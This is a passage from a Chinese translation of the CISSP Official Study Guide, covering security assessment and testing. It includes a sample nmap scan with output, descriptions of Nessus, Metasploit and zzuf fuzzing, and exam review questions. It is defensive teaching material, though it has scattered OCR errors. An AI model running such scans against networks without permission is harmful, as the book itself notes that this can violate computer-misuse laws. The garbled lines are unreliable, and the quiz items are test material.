图 1 5.2 在图 1 5. 1 所示的扫描服务器上运行的默认 Apache 服务器页面
壁之.
问acBook$一-nmap 192 . 168.1.0
T 哇
/24
→盹E 芒旦得 叫 如部湾黯蜒送4
Sta rting Nmap 6.01 ( http : //nmap .口rg ) at 2015-05-09 15 : 50 EDT
St range error f rom connect ( 65 ) : No route to host
Nmap s can report for 192 . 168.1.65
Host is up (0.036s latency ).
All 1000 scanned ports on 192 . 168 .1.65 a re closed
Nmap s can report for 192.168. 1.69
Host is up (0.0017s latency ).
All 1000 scanned ports on 192.168 .1.69 a re closed
Nmap scan report f口r 192.168 .1. 73
Host is up (0.021s latency ).
Not shown : 994 closed ports
PORT STATE SERVICE
80/tcp open http
515/tcp open p rinter
631/tcp open ipp
8080/tcp open http-p roxy
8290/tcp open unknown
9100/tcp open j etdirect
Nmap scan report fo r 192 . 168. 1.94
Host is up (0. 00089s latency ).
N口t shown : 998 closed ports
PORT STATE SERVICE
5009/tcp open a irpo rt-admin
10000/tcp open snet-sensor-mgmt
Nmap s can report for 192.168 . 1 . 114
Host is up (0. 0015s latency ).
Not shown : 962 closed po rts， 37 filte red ports
PORT STATE SERVICE
4242/tcp open vrml-multi-use
图 1 5.3 在 Mac 系统的终端应用上运行大网络范围的 nmap 扫描
'''''- 一~
447
448
CISSP 官方学 习指南(第 7 版)
草生 E写 ..... •
能够运行网络发现点描并不意味着可以或应该运行扫描。 应该只扫描从网络所有者那里得到 明
确许可的 网 络， 从而进行安全扫描。 一些司 法机构认为 ， 未经授权的扫描违反了 计算机滥用 方面的
法律法规， 就可以对个人进行起诉 ， 尽管只是简单地用 nmap 扫描了咖啡店 的 无线网络。
2. 网络漏洞扫描
网络漏洞扫描远比网格发现扫描深入。 它们不会在检测到开放端 口 后就停止扫描， 而是继续调
查 目标系统或网络来查找己知的漏洞。 这些工具包括数以千计已知漏洞的数据库， 它们还能执行一
些测试， 来确定系统是否易受系统数据库中 每个漏洞 的影响 。
当扫描器测试系统漏洞时， 它使用数据库中的测试来确定一个系统是否可能包含漏洞。 在某些
情况下， 扫描器可能没有足够的信息来最终确定一个漏洞的存在， 也可能会在没有问题时报告漏洞。
这种情况被称为假性正面报告 ， 有时会成为系统管理员 的麻烦 。 更危险的是， 漏洞扫描器可能会漏
掉漏洞 ， 从而无法提醒管理员危险情况的存在 。 这种情况被称为假性负 面报告 。
默认情况下， 网络漏洞扫描器会进行未经身份认证的扫描。 它们在测试 目 标系统时， 不需要密
码， 也不需要其他授予扫描器特权的信息。 这可以使得扫描从攻击者的角度运行， 而且限制了 扫描
器全面评估可能漏洞的能力。 一种提高扫描准确性并减少假性正面和假性负面报告的方法是对系统
执行身份认证的扫描 。 在这种方法中 ， 扫描器可以对被扫描的服务器进行只读访问， 可 以使用此访
问 从 目 标系统读取配置信息 ， 并在分析漏洞测试结果时利用这些信息。
图 15.4 展示了 使用 Nessus 漏洞扫描器对系统进行网络漏洞扫描的结果， 此系统与本章之前用
网络发现扫描器进行扫描 的系统是同一系统。
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Coun. Hosl Detalls
IP: 52.4.85.159
DNS: ec2-52-4-8S-I59∞m阳川，
1.run…m
05: UnuxK.凹001 2.6
SIa:1: Today at 4:23 PM
End: Today at 4:33 PM
E'，ρsed: 9 rr割nutos
KB: Dav:nloud
Vulnembi!itles 0 ::
图 1 5.4 对 同一台 Web 服务器的网络漏洞扫描 ， 此服务器在 图 1 5 . 1 中 己进行端 口扫描
图 1 5.4 所示的扫描结果是非常干净的， 代表着一个运行 良好的系统。 没有严重的漏洞 ， 只有两
个低风险漏洞， 与被扫描系统上运行的 SSH 服务相关。 系统管理员可能希望调整 SSH 密码设置，
第 1 5 章 安全评估和测试
以删除那些低风险的漏洞 ， 因此这对管理员来说是一份很好的报告 ， 证实 了 系 统管理 良好。
学 习 TCP 豆击口
解释端 口 扫描结果需要对一些常见 TCP 端口有所 了解。 以下是在准备 CISSP 考试时必须记住
的一些 TCP 端 口
FTP 21
SSH 22
Te1net 23
SMTP 25
DNS 53
HTTP 80
POP3 1 1 0
NTP 1 23
HTTPS 443
Microsoft SQL Server 1 433
Oracle 1 521
H.323 1 720
PPTP 1 723
RDP 3389
3. Web 漏洞扫描
W巳b 应用程序对企业安全构成重大风险。 就其本质而言， 许多运行 Web 应用程序的服务器必须
向五联网用户公开服务。 防火墙和其他安全设备通常包含一些规则， 可以允许网络流量通过 Web n&
务器而不受约束。 运行在 Web 服务器上的应用程序是复杂的， 经常对底层数据库有访问特权。 攻击
者通常使用 SQL 注入和其他针对 Web 应用程序安全设计缺陷 的攻击来发现这些情况。
提示 :
在第 9 章 "安全脆弱性、 威胁和对策" 中 可以找到有关 SQL 注入攻击、 跨站脚本(XSS)、 跨站
请求伪造(XSRF)和其他 Web 应用程序漏洞 的 全部讲解。
Web 漏洞扫描器是在 Web 应用程序中搜寻己知漏洞的专用工具。 它们在所有安全测试项 目 中都
扮演着重要的角色， 因 为它们可能会发现网络漏洞扫描器发现不 了 的缺陷。 当管理员进行一次 Web
应用程序扫描时， 工具会使用 自动化技术探测 Web 应用程序， 这些技术会操纵输入和其他参数来识
别 Web 漏洞。 然后工具会提供一份发现报告， 通常包括所建议的漏洞修复技术。 图 1 5.5 还展示了
使用 Nessus 漏洞扫描工具进行的 Web 漏洞扫描示例。 此扫描针对的运行 Web 应用程序的服务器与
图 1 5. 1 和 图 1 5.4 中 的服务器相同。 阅读图 1 5.5 中 的扫描报告时注意， 发现了 网络漏洞扫描中没有
出现的漏洞。
449
450
CISSP 官方学习指南(第 7 版)
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图 1 5.5 Web 应用程序漏洞扫描 ， 扫描的服务器与 图 1 5. 1 和 图 1 5.4 中 的服务器相 同
注意 :
是不是感觉网络漏洞扫描和 Web 漏洞扫描听起来差不多 呢? 这是因 为 它们确实差不 多 ! 它们是
两个运行在一台服务器上的探测服务， 用 于检测 己去口的漏洞 。 所不 同 的是， 网络漏洞扫描通常不会
深入到 Web 应 用 程序 的 结构 ， 而 Web 应用程序扫描不会查看那些支持 Web 服务以外的服务。 许多
网络漏洞扫描器也会执行基本的 Web 漏洞扫描任务， 但是深入的 Web 漏洞扫描需要专 门 的 、 专用
的 Web 漏 洞扫描工具才行。
你可能 已经注意到 ， Nessus 漏洞扫描器既可以执行图 1 5.4 所示的 网 络漏洞扫描， 又可以执行图
1 5.5 所示的 Web 漏洞扫描。 Nessus 是一个可以 进行两种类型扫描的混合工具。
对于大多数工具， 各种漏洞扫描器的功能各异。 使用扫描器前， 应该先研究一下 ， 以确保符合
你的安全控制 目 标。
Web 漏洞扫描是组织的安全评估和测试程序的一个重要组成部分。 在下列情况下运行扫描是很
好的:
•
•
•
•
当开始执行第一次 Web 漏洞扫描时， 扫描所有的应用 程序 。 这将检测到应用程序的遗留
问题。
将任何新的应用程序第一次移交生产环境之前进行扫描。
在代码更改进入生产环境之前扫描任何修改 的应用程序 。
在循环的基础上扫描所有的应用程序。 有限的资源可能需要在基于应用程序优先级的情况
下安排这些扫描。 例如， 可能希望扫描那些经常需要与敏感信息交互的 Web 应用程序 。
在某些情况下 ， 可能需要 Web 应用程序扫描来满足合规要求。 例如， 第4章 "法律、 法规和合
规 " 中讨论的支付卡行业数据安全标准(PCIDSS)要求组织至少每年进行一次 Web 应用程序漏洞扫
描 ， 或者安装专用 的 Web 应用程序防火墙来增加对 Web 漏洞的额外保护层 。
第 1 5 章 安全评估和测试
1 5.2.2 渗透测试
渗透测试超越了漏洞测试技术， 因 为它实际上试图利用系统漏洞。 漏洞扫描只是调查漏洞的存
在， 通常不会对 目 标系统采取进攻行动(也就是说 ， 一些漏洞扫描技术可能会破坏系统， 尽管这些选
项通常在默认情况下是禁用的)。 另一方面， 安全专家进行渗透测试是为了试图让安全控制失效， 进
入 目 标系统或应用程序来展示缺陷 。
渗透测试需要训练有素的安全专家集中注意力来应对比漏洞扫描更广的范围。 当执行渗透测试
时 ， 安全专家通常的 目 标是一个系统或一组系统 ， 并使用许多不同 的技术来访问。 这个过程可能
包括:
• 执行基本侦察来确定系统功能(如访 问托管在系 统上的网站)
• 执行网络发现扫 描 以识别 开发端 口
• 执行网络漏洞扫描以识别 没有应用补丁的漏洞
• 执行 Web 应用程序漏洞扫描 以识别 Web 应用程序缺陷
• 使用开发工具 自 动试图破坏系统安全
• 尝试手动探测和攻击
渗透测试人员通常使用一个名为 Metasploit 的工具来自 动对 目 标系统执行攻击。 如 图 1 5.6 所示，
Metasploit 使用一门脚本语言来允许 自动执行常见的攻击， 以节省测试人员(和黑客1)大量的时间 ， 因
为执行攻击时涉及的许多烦琐步骤被省略 了 。
图 1 5.6 Metasploit 自 动系统漏洞发现工具允许攻击者迅速执行对 目 标系统的常见攻击
渗透测试人员可能是公司 员工， 他们执行这些测试作为职责的一部分， 也可能是由聘请的外部
顾问执行渗透测试。 测试通常分为三组:
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CISSP 官方学 习指南(第 7 版)
自盒渗透测试 为攻击者提供了 目 标系统的详细信息 。 这绕过了 攻击之前经常会有的许多侦察
步骤， 缩短了 攻击时间并增加 了 发现安全漏洞的 可能性。
灰盒渗透测试 也称为部分知识测试， 有时会选择这些来平衡白盒和黑盒渗透测试的优缺点。
如果想要黑盒渗透测试结果， 但是成本或时间有限， 就意味着需要一些知识来完成测试， 这种情况
特别常见 。
黑盒渗透测试 攻击之前不为攻击者提供任何信息。 这模拟了外部攻击者在进行攻击之前试图
获取业务和技术环境信息 的情况。
渗透测试耗时较长， 并且需要专门 的资源， 但它们在 良好的信息安全测试幸自字的持续运行中扮
演着重要角色。
1 5.3 测试你的 软件
软件是系统安全的一个关键组成部分。考虑在整个现代企业中使用的许多应用程序的常见特点:
• 软件应用程序通常有特权进入操作系统、 硬件和其他资源。
• 软件应用程序经常处理敏感信息， 其中包括信用 卡号码、 社会保障号和专利业务信息。
• 许多软件应用程序都依赖于也包含敏感信息 的数据库 。
• 软件是现代企业的核心， 执行关键业务功能。 软件故障可以扰乱企业业务 ， 带来非常严重
的后果。
仔细测试软件对每一个现代组织的机密性、 完整性和可用性要求都是至关重要的。 上述几点只
是集中 的几条原因。 在本节中 ， 你将了解可能需要整合到组织的软件开发生命周期中各种类型的软
件测试。
注意 :
本章主要讲解软件测试主题。 在第 20 章 "软件开发安全" 中可以找到 更深层次的软件开发生命
周 期(SDLC)和软件安全问题。
1 5.3. 1 代码审查和测试
软件测试项 目 的最关键部件之一是进行代码审核和测试。 这些程序在将代码移交生产环境之前
由第三方对开发人员执行的工作进行评审。 代码审核和测试可能会在缺陷生效并对经营产生负面影
响之前发现安全、 性能或可靠性缺陷。
1 . 代码审查
代码审查是软件评估项 目 的基础。 在代码审查(也称为 " 并行审核" )期间 ， 由除了写代码的人
以外的开发人员进行审查、 查找缺陷。 代码审查的结果可能是应用程序被批准进入生产环境， 或他
们可能把代码发回最初的开发人 员 ， 井对审 查中发现的 问 题提供返工建议。
代码审查可能会有许多不同的形式， 不同组织之间的形式也是不同的。 最正式的代码评审过程
称为 Fagan 检查， 遵循如下严格的审查和测试过程， 有6个步骤:
(1) 规划
(2) 概述
(3) 准备
(4) 检查
(5) 返工
(6) 后续行动
第 1 5 章 安全评估和测试
对 Fagan 检查的概述见图 15工 每个步骤都有明确定义的进出标准， 从一个阶段过波到下一个
阶段时必须满足这些标准 。
图 1 5.7 Fagan 检查遵循严格的正式流程， 各阶段之间的转换必须满足明确定义的迸出标准
正式的 Fagan 检验通常只存在于高度受限的环境中 ， 其中代码缺陷可能产生灾难性影响。 大多
数组织都使用那些代码并行审查措施不太严格的流程 ， 包括:
• 开发人员在会见一个或多个其他团 队成 员 时走查他们的代码
• 高级开发人员执行手工代码审查， 在转入生产环境之前签署所有代码
• 在转入生产环境之前 ， 使用 自 动审核工具检测常见的应用 程序缺陷
每个组织都应该采取一种适合 自 身业务需求和 软件开发文化的代码审查流程
2. 静态测试
静态测试在不运行软件的情况下通过分析源代码或编译的应用程序对软件进行评估。 静态分析
通常涉及用来检测常见软件缺陷(如缓冲区溢出)的 自 动化工具。 在成熟的开发环境中 ， 应用程序开
发人员 能够使用静态分析工具 ， 并在设计、 开发和测试过程中使用它们。
3. 动态测试
动态测试是在运行环境中评估软件安全， 对于部署别人写的应用程序的组织来说通常是唯一选
择 。 在这种情况下， 测试人员经常不能访问底层的源代码。 动态软件测试的一个常见例子是使用
Web 应用程序扫描工具来检测 Web 应用程序中的跨站脚本、 SQL 注入或其他缺陷的存在 。 对生产
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CISSP 官方学 习指南(第 7 版)
环境的动态测试应该进行小心协调 ， 以避免意外中断服务。
动态测试可能包括使用综合事务来验证系统的性能。 这些是具有己知预期结果的脚本事务。 测
试人员针对测试代码运行综合事务， 然后将事务输出与预期状态进行比较。 实际结果和预期结果之
间 的任何偏差都代表代码中 可能的缺陷 ， 必须进一步研究 。
4. 模糊测试
模糊测试是一项专门 的动态测试技术， 向 软件提供了 许多不同类型的输入， 来强调其局限性并
发现先前未被发现的缺陷。 模糊测试软件向软件提供无效的输入， 或是随机生成， 或是特别制作，
以触发特殊的软件漏洞 。 然后， 模糊测试监控应用程序的性能， 监视软件崩溃、 缓冲区溢出或其他
不 良和/或不可预知 的结果。
有两个主要类别 的模糊测试:
变异模糊测试 从软件的实际操作中提取之前的输入值， 对其进行处理(或改变)以创建模糊输
入 。 它可能改变内容的字符， 为 内 容的结尾附加字符串或执行其他数据操作技术。
智 能模糊测试 基于对程序所使用数据类型的理解， 开发数据模型并创建新的模糊输入
zzuf工具根据用户规范操纵输入， 将变异模糊测试的过程自动化。 例如， 图 1 5.8 显示了一个包
含一系列 l 的文件。
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ubuntuS I
图 1 5.8 对包含一系列 l 的输入文件进行预模糊测试
l圄
图 1 5.9 显示了应用 于这种输入的 zzuf工具。 产生的被模糊文本几乎与原始文本是相同的。 尽管'
还是主要包含 1 ， 但现在文本有几个变化， 可能会与期望原始输入的程序相混淆。 这个稍微操纵输
入的过程被称为翻转。
第 1 5 章 安全评估和测试
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ubuntuS 22uf .号 。ne5. txt '.
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图 1 5.9 图 1 5.8 所示的输入文件经过 zzuf变异模糊测试工具后的结果
1 5.3.2 接口测试
接口测试是开发复杂软件系统的一个重要组成部分。 在许多情况下， 多个团队的开发人员必须
在复杂应用程序的不同部分进行工作， 他们必须相互合作以实现业务 目 标。 这些被分别开发的模块
之间的传递使用定义 良好的接口 ， 以便团队可以独立工作。 接口测试评估模块针对接口 规范的性能，
以确保所有开发工作完成后模块能正常工作。
在软件测试过程中 ， 应对三种接 口 进行测试:
应用编程接口(API) 为代码模块提供一种标准化的方式进行交互， 可以通过 Web 服务向外部
公开。 开发人员必须测 试 API 来确保它们执行所有安全需求。
用户界面(UI) 例子包括图形用户界面(GUI)和命令行接口。UI 为终端用户提供与软件交互的能
力 。 界面测试应包括审查所有的用户 界面来验证它们能否正常运作 。
物理接口 在一些操作机器、 逻辑控制器或物理世界中其他对象的应用程序中存在。 软件测试
人员应该注意物理接口， 因 为如果它们失效， 会带来一些潜在后果。
接口为复杂系统的计划或未来互连提供重要的机制。 Web 2.0世界取决于这些接口 的可用性， 以
方便不同软件包之间的相互作用 。 然而， 开发人员必须小心， 因为接口提供的灵活性不会带来额外
的 安全风险 。 接 口 测试对接 口 满足组织的安全需求提供了 一种更高程度的保证。
1 5.3.3 误用 案例测试
在某些应用程序中， 关于软件用户可能试图滥用应用程序有明确示例。 例如， 银行软件的用户
可能会试图操纵输入字符串来获取其他用户的账户 。 他们也可能试图从一个己经透支的账户取出资
金。 软件测试人员使用称为误用案例测试或滥用周例测试的过程来评估他们的软件对这些己知风险
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CISSP 官方学 习指南(第 7 版)
的脆弱性 。
在误用案例测试中， 测试人员首先列举己知的误用案例。 然后他们试图使用手动和/或自 动攻击
技术开发这些用例。
1 5.3.4 测试覆盖率分析
虽然测试是软件开发过程的重要组成部分， 但遗憾的是， 不可能对全部软件都进行测试。 有太
多 的方法会造成软件故障或用于对它们进行攻击。 软件测试专业人员经常进行测试覆盖率分析， 进
行估计对新软件进行测试的程度 。 使用 以下公式计算测试覆盖率:
测 试覆盖率 =
使用的测试用例数
使用的用例总数
当然， 这种计算非常主观。 准确计算测试覆盖率要求列举可能的用例， 这是一项非常艰巨的任
务。 因此， 任何人在使用测试覆盖率计算时都应该理解在解释研究结果时用于开发输入值的过程。
1 5.4 实现安全管理过程
除了进行评估和测试， 有效彻底的信息安全项 目还包括各种管理流程， 用 来监督信息安全程序
的有效运行。 这些过程在安全评估过程中 是关键的反馈回路， 因为它们提供管理监督， 并对内 部攻
击的威胁起到震摄作用。 满足这一需求的安全管理评审包括日志审核、 账户管理、 备份验证、 关键
性能指标和风险指标。
1 5.4.1 日志审核
在第 1 6 章 " 管理安全运营" 中 ， 你将学习 存储 日志数据的重要性 ， 并进行 自 动和手动 日 志审核。
安全信息和事件管理(SIEM)系统在这些过程中发挥重要作用 ， 将 日 志审 查的大部分日 常工作自动
化。 信息安全管理人员还应该定期进行 日 志审查， 特别是对于敏感功能来说， 以确保特权用户 不滥
用特权。 例如， 如果一支信息安全团队访问了 eDiscovery 工具 ， 能够搜索个人用户 文件的 内容， 那
么 安全管理人员应定期检查这些管理用户 的行动日志， 以确保他们的文件访问与合法 eDiscovery 相
关方案并不侵犯用户 隐私 。
1 5.4.2 账户管理
账户管理审核确保用户只保留授权权限， 而没有发生未经授权的修改。 账户管理审核可能是信
息安全管理人员或内部审计师的职责之一。 执行账户管理审核的方法之一是对所有账户进行全面的
审核。 通常只对高特权账户这样做， 因 为审核全部账户太耗时间 。 具体过程可以根据组织的不同而
不同， 但这里有一个例子:
(1) 管理人员要求系统管理员提供具有访问特权的用户列表及其被授予的特权。 他们可能会对
管理员进行监控， 同 样他们还会检索该列表来避免篡改 。
第 1 5 章 安全评估和测试
(2) 管理人员要求特权批准机构提供授权用户 的列表及其他们应被分配的特权。
(3) 然后管理人员 比较这两个列表， 以确保只有授权用 户可 以访问系统且每个用户的访 问不超
出他们的授权。
这个过程可能包括许多其他检查， 如验证终止用户 不保留对 系统的访问， 检查特定账户 的书面
记录或其他任务。
没有时间执行整个过程的组织可以使用抽样 。 在这种方法中 ， 管理人员抽出账户 的随机样本，
对授予这些账户权限的过程执行一次完整的验证。 如果在样本中 未发现明 显的缺陷 ， 就可以认为它
们代表所有账户 。
警告 :
只有随机J由样才是有效的 ! 不九许系 统管理员 生成样本或使用 非随机的标准选择要审核的账户 ，
否 则有可能错过存在错误的 所有用 户 类别 。
1 5.4.3 备份验证
在第 18 章 "灾难恢复计划 " 中 ， 将学习维护一致的备份草里芋的重要性。 管理人员应该定期检查
备份的结果， 以确保过程有效执行， 并满足组织的数据保护需要 。 这可能涉及审核 日志、 检查散列
值或请求对系统或文件的实际恢复。
1 5.4.4 关键性能指标和风险指标
安全管理人员还应该持续监视关键性能指标和风险指标。 他们所监视的确切指标将根据组织的
不同而不同， 但可能包括 以下:
• 开放漏洞 的数量
• 解决漏洞的时间
• 被盗账户 的数量
• 在生产前扫描(preproduction scanning) 中发现的软件缺陷数
• 重复审计发现
• 访 问恶意网站的用户尝试
一旦组织识别了希望跟踪的关键安全度量， 管理人员可能希望开发一个仪表板， 以清楚地显示
这些指标的值随时间推移的变化 ， 并将其放在管理人员和安全团 队能够经常看到 的地方。
1 5.5 本章小结
安全评估和测试程序在确保组织的安全控制随时间保持有效性方面发挥着重要作用。 业务操作、
技术环境、 安全风险和用户 行为的变化， 可能会改变用于保护信息资产的机密性、 有效性、 完整性
和可用性的控制的有效性。 评估和测试程序监控这些控制， 并强调要求管理员干预的那些变化。 安
全专家应该仔细设计评估和测试程序 ， 并根据业务需求的变化进行修改。
安全测试技术包括漏洞评估和软件测试。 在漏洞评估中 ， 安全专家执行各种各样的测试， 以确
457
458
CISSP 官方学习指南(第 7 版)
定系统和应用程序中 的配置错误和其他安全缺陷。 网络发现测试确定网络上带有开放端 口 的系统。
网络漏洞扫描能够在这些系统上发现已知的安全漏洞。 Web 漏洞扫描对 Web 应用程序的操作进行探
测 ， 以寻找己知的漏洞 。
软件在任何安全基础设施中都发挥着至关重要的作用 ， 因为它处理敏感信息并与关键资源进行
交互。 组织应该使用代码审核过程， 在移交生产环境之前进行井行代码验证。 严格的软件测试项 目
还包括使用静态测试、 动态测试、 接口测试和误用案例测试， 以有力地评估软件 。
安全管理过程包括日志审查、 账户管理、 备份验证和跟踪关键性能指标和风险指标。 这些流程
帮助安全管理人员验证信息安全项 目 的持续有效性。 第三方不太频繁地进行的正式内部审计和外部
审计可作为补充。
1 5.6 考试要点
了解安全评估和测试程序的重要性。 安全评估和测试程序为验证安全控制的持续有效性提供了
一个重要的机制。 它们包括各种工具 ， 包括漏洞评估、 渗透测试、 软件测试、 审计工具以及旨在验
证控制 的安全管理任务。 每个组织都应该有 明确定义和 可操作的安全评估和测试程序。
进行漏洞评估和渗透测试。 漏洞评估使用 自 动化工具来搜索系统、 应用程序和 网络中 的 己知漏
洞。 这些缺陷可能包括缺失的补丁、 配置错误或错误的代码， 它们会使组织暴露于安全风险中。 渗
透测试也使用相同的工具， 但 以攻击技术作为补充 ， 评估人员试图利用漏洞并访 问系统。
执行软件测试来验证进入生产环境的代码。 软件测试技术能验证代码功能符合设计， 并不包含
安全缺陷。 代码审核使用并行评审过程在代码部署到生产环境之前进行正式或非正式的验证。 接 口
测试利用 API 测试、 用户 界面测试和物理接 口 测试评估组件和用 户之间 的交互。
理解静态和动态软件测试的区别。 静态软件测试技术， 如代码审核， 通过分析源代码或所编译
应用程序， 在软件未运行时对软件安全进行评估。 动态测试在软件运行时评估软件安全， 对于部署
由别人写 的应用程序 的组织来说通常是唯一选择。
解释模糊测试的概念。 模糊测试使用修改过的输入来测试软件在意外情况下的性能。 变异模糊
测试修改己知输入来生成合成输入， 这可能会引 发意想不到的行为。 智能模糊测试基于预期输入模
型来开发输入， 以执行相 同 的任务。
执行安全管理任务以提供对信息安全项目 的监管。 安全管理人员必须执行各种活动 ， 以保证对
信息安全项 目 的适当监督。 日 志审核， 特别是对于管理员 的活动来说， 能够确保系统不被滥用 。 账
户 管理审核确保只有授权用户 具有对信息系统的访问权限。 备份验证保证了组织的数据保护过程正
常运作 。 关键性能指标和风险指标提供了 安全计划有效性的高级视图。
执行或促进内部和第三方审计。 当第三方对用于保护组织信息资产的安全控制进行评估时， 安
全审计便会出现。 内 部审计由组织的内部员工进行， 仅用于管理。 外部审计由第三方审计公司进行，
通常用于组织的 治理机构 。
1 5.7 书 面实验室
1 . 描述 TCP SYN 扫描和 TCP 连接扫描 的 区别。
2. nmap 网络发现扫描工具返回 的三个端 口 状态值是什么 ?
3 . 静态和动态代码测试技术的区别是什么 ?
4. 变异模糊测试和智能模糊测试的区别是什么 ?
1 5.8 复 习 题
1 . 以 下哪个工具主要用 于 网络发现扫描?
A. nmap
B. Nessus
c. Metasploit
D. lsof
第 1 5 章 安全评估和测试
2. Adam 最近对组织内 运行的 Web 服务器进行了一次网络端口 扫描。 他从外部网络进行扫描，
以 获得攻击者的扫描角度 。 下列哪个结果是引 起警报的最大原因 ?
A. 80/open
B. 22/自ltered
C. 443/open
D. 1 433/open
3 . 在为某个特定系统规划安全测试计划时不应考虑下列哪个因素?
A. 存储在系统上的信息的敏感度
B. 执行测试的难度
C. 利用新测试工具进行试验的 意愿
D. 系 统对攻击者 的吸引力
4. 以下哪一项一般不包括在安全评估中 ?
A. 漏洞扫描
B 风险评估
C. 漏洞缓解
D. 威胁评估
5. 谁是安全评估报告的 阅读对象?
A. 管理人员
B. 安全审计师
巳 安全专家
D 客户
6. Beth 想在组织的私有网络上对所有系统运行 nmap 扫描， 包括处于 1 0.0.0.0 私有地址空间中
的系统。 她想要扫描整个私有地址空间 ， 因为她不确定使用 的是哪个子网。 Beth 应该以哪个网络地
址作为扫描 目 标?
A. 1 0.0.0.0/0
B. 1 0.0.0.0/8
C. I 0.0.0.0/16
D. 1 0.0.0.0/24
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CISSP 官方学习指南(第 7 版)
7. Alan 对服务器运行 m叩 扫描， 确定服务器上的端口 80 是开放的。 什么工具可能会给他带
来有关服务器 目 的和服务器操作者身份的最好 附加信息 ?
A. SSH
B. Web 浏览器
C. te1net
D. ping
8. 什么端 口 通常用于使用 SSH 实用工具接受管理连接?
A. 20
B. 22
C. 25
D. 80
9. 下列哪个测试提供有关服务器安全状态的最准确和最详细信息 ?
A. 未经身份认证的扫描
B. 端 口 扫描
C. 半开式扫描
D. 经验证的扫描
1 0. 什么类型 的网络发现扫描 只遵循 TCP 握手的前两个步骤 ?
A. TCP 连接扫描
B. Xmas 扫 描
C. TCP SYN 扫 描
D. TCP ACK 扫描
11. Matthew 想在网络上测试系统的 SQL 注入漏洞 。 下列哪个工具最适合这个任务?
A. 端口扫描器
B. 网络漏洞扫描器
c. 网络发现扫描器
D. Web 漏洞扫描器
1 2. Badin Industries 运行着一个处理电子商务订单和信用卡交易的 Web 应用程序。 因此， 它应
遵守支付卡行业数据安全标准σCI DSS)。 该公司最近对应用程序执行了 Web 漏洞扫描， 没有得到
不满意结果。 Badin 应多久后重新扫描应用程序 ?
A. 只 能在应用程序 发生变化时
B. 至少每月
C. 至少每年
D. 没有再次扫描的要求
13. Gra臼 对客户 的网络执行渗透测试， 并且愿意使用工具协助 自 动执行常见的漏洞利用。 下列
哪个安全工具能最好地满足她的需要?
A. nmap
B. Metasp10it
C. Nessus
D. Snoft
第 1 5 章 安全评估和测试
1 4. Pau1 想用之前使用 的输入的稍微修改版来测试应用 。 Pau1 打算进行什么类型 的测试?
A. 代码审核
B. 应用程序漏洞审核
c. 变异模糊测试
D. 智 能模糊测试
1 5 银行应用程序的用户可能试图从不存在资金的账户 中取出资金。 开发人员意识到这种威胁，
并实现代码进行防范。 如果开发人员还没有矫正 ， 那么什么 类型的软件测试最有可能捕捉到这种类
型的漏洞?
A. 误用案例测试
B. SQL 注入测试
C 模糊测试
D. 代码审核
1 6. 哪种接 口 测试能够识别程序命令行接 口 的缺陷?
A. 接 口 测试 中 的应用编程
B. 用户接 口 测试
C. 物理接 口 测试
D. 安全接 口 测试
1 7. 在什么类型的 渗透测试期 间 ， 测试人员总 是访 问系 统配置信息?
A. 黑盒渗透测试
B. 白 盒渗透测试
C. 灰盒渗透测试
D. 红盒渗透测试
1 8. 在运行未加密 HTTP 服务器的系统上， 什么端 口 通常 是开放的 ?
A. 22
B. 80
C. 1 43
D. 443
19. 下 列哪一项是 Fagin 检验过程的最后一步 ?
A. 检验
B 返工
C. 后续行动
D. 以 上均不是
20. 什么信息安全管理任务能够确保有效地满足组织的数据保护需求?
A 账户 管理
B. 备份验证
C. 日 志、审核
D. 关键性能指标
461
第 1 6 二tt.
写主
管理安全运营
本章中覆盖的 CISSP 考试大纲包含 :
安全运营
• D. 保护资源的配置
D. 1 资产清单(例如， 硬件、 软件)
D.2 配置管理
D.3 物理资产
D.4 虚拟资产(例如 ， 软件定义网络、 虚拟 SAN、 宾客操作系统)
D.5 云资产(例如， 服务、 VM、 存储、 网络)
D.6 应用(例 如 ， 负载或私有云、 Web 服务、 SaaS)
• E. 理解和应用 基本的安全操作原则
E. 1 知 其所需/最小特权(例如 ， 权利、 聚合、 传递信任)
E.2 职责和责任分离
E.3 监控专有特权(例如 ， 操作、 管理)
E.4 岗 位轮换
E.5 信息生命周期
E.6 服务级别协议
• F 采用 资源保护技术
F. 1 介质管理
F.2 硬件和软件资产管理
• 1. 执行和支持补丁及脆弱性管理
• J. 参与和理解变更管理流程(例如 ， 版本、 基线 、 安全影响分析)
• P. 参与解决人身安全 问题(例如， 胁迫、 旅行、 监控)
安全运营域包括范围广泛的安全基础概念和最佳实践。 该域包含许多核心概念， 任何组织都需
要这些概念来提供基本的安全保护 。 本章 的 16.1 节将讨论这些概念。
资源保护确保在资源整个生命周期内 的介质和其他有价值的资产都得到保护。 类似地， 配置管
464
CISSP 官方学 习指南(第 7 版)
理确保系统在整个生命周期内都被配置， 并且变更管理流程使系统免受外部未授权改变导致的运行
中断。 补 丁和漏洞管理控制确保系统是最新 的 ， 并使其免受 己知漏洞的攻击。
16.1 应 用 安全运营的概念
安全运营实践的主要 目 的是保障系统中信息资产的安全性。 这些实践有助于确定威胁和漏洞，
并实施控制来降低整个组织资产的风险。
在 盯 安全环境中， 应尽关注和应尽职责依靠不断演进的基本原则， 采取合理的关注来保护组织
的资产。 高级管理人员对执行应尽关注和应尽职责有直接责任。 实施的通用安全运营概念包括如下
几个部分: 执行周期性的审计和检验， 验证应尽关注和应尽职责的级别(这将减少损失发生时高级管
理部 门 的责任)。
1 6.1.1 知其所需和最小特权
知其所需和最小特权是值得在任何 盯 安全环境中采纳的两条标准原则。通过限制对有价值资产
的访问来提供保护。 虽然这两个术语之间有关联， 且许多人都交换地使用这两个术语， 但是它们之
间仍然有一些明 显的差异 。 知其所需关注权限和访问信息的能力 ， 而最小特权关注特权 。
第 14 章 "控制和监控访问" 对许可、 权限和特权做了对比。 提醒一下， 许可允许访问客体， 如
文件。 权限涉及采取行动的能力。 访问权限和许可是同义词 ， 但是权限涉及操作操作系统的能力，
例如改变系统时间。 特权是权限和许可的结合。
1 . 知其所需访问
知其所需原则利用需求来给用户 授权， 仅仅根据为完成所分配任务而授权访问 需要操作的数据
或资源。 主要 目 的是保持秘密信息的机密性。 如果想保守一个秘密， 最佳方式是不告诉任何人。 如
果你是唯一知道该秘密的人， 你能确保守 口 如瓶。 但如果你告诉一个可信朋友， 他或许会保守秘密，
也或许会告诉其他人一一例如其他可信朋友。 然而， 越多的人了解该秘密， 机密泄露的风险越高。
限制知道秘密的人将增加保守秘密的可能性。
知其所需一般与安全许可相关， 例如有安全许可的个人。 然而， 安全许可不能 自 动为数据授予
访问。 例如， 假设 Sally 有安全许可。 这表明她被允许访问某些机密数据。 然而， 该许可不能 自 动
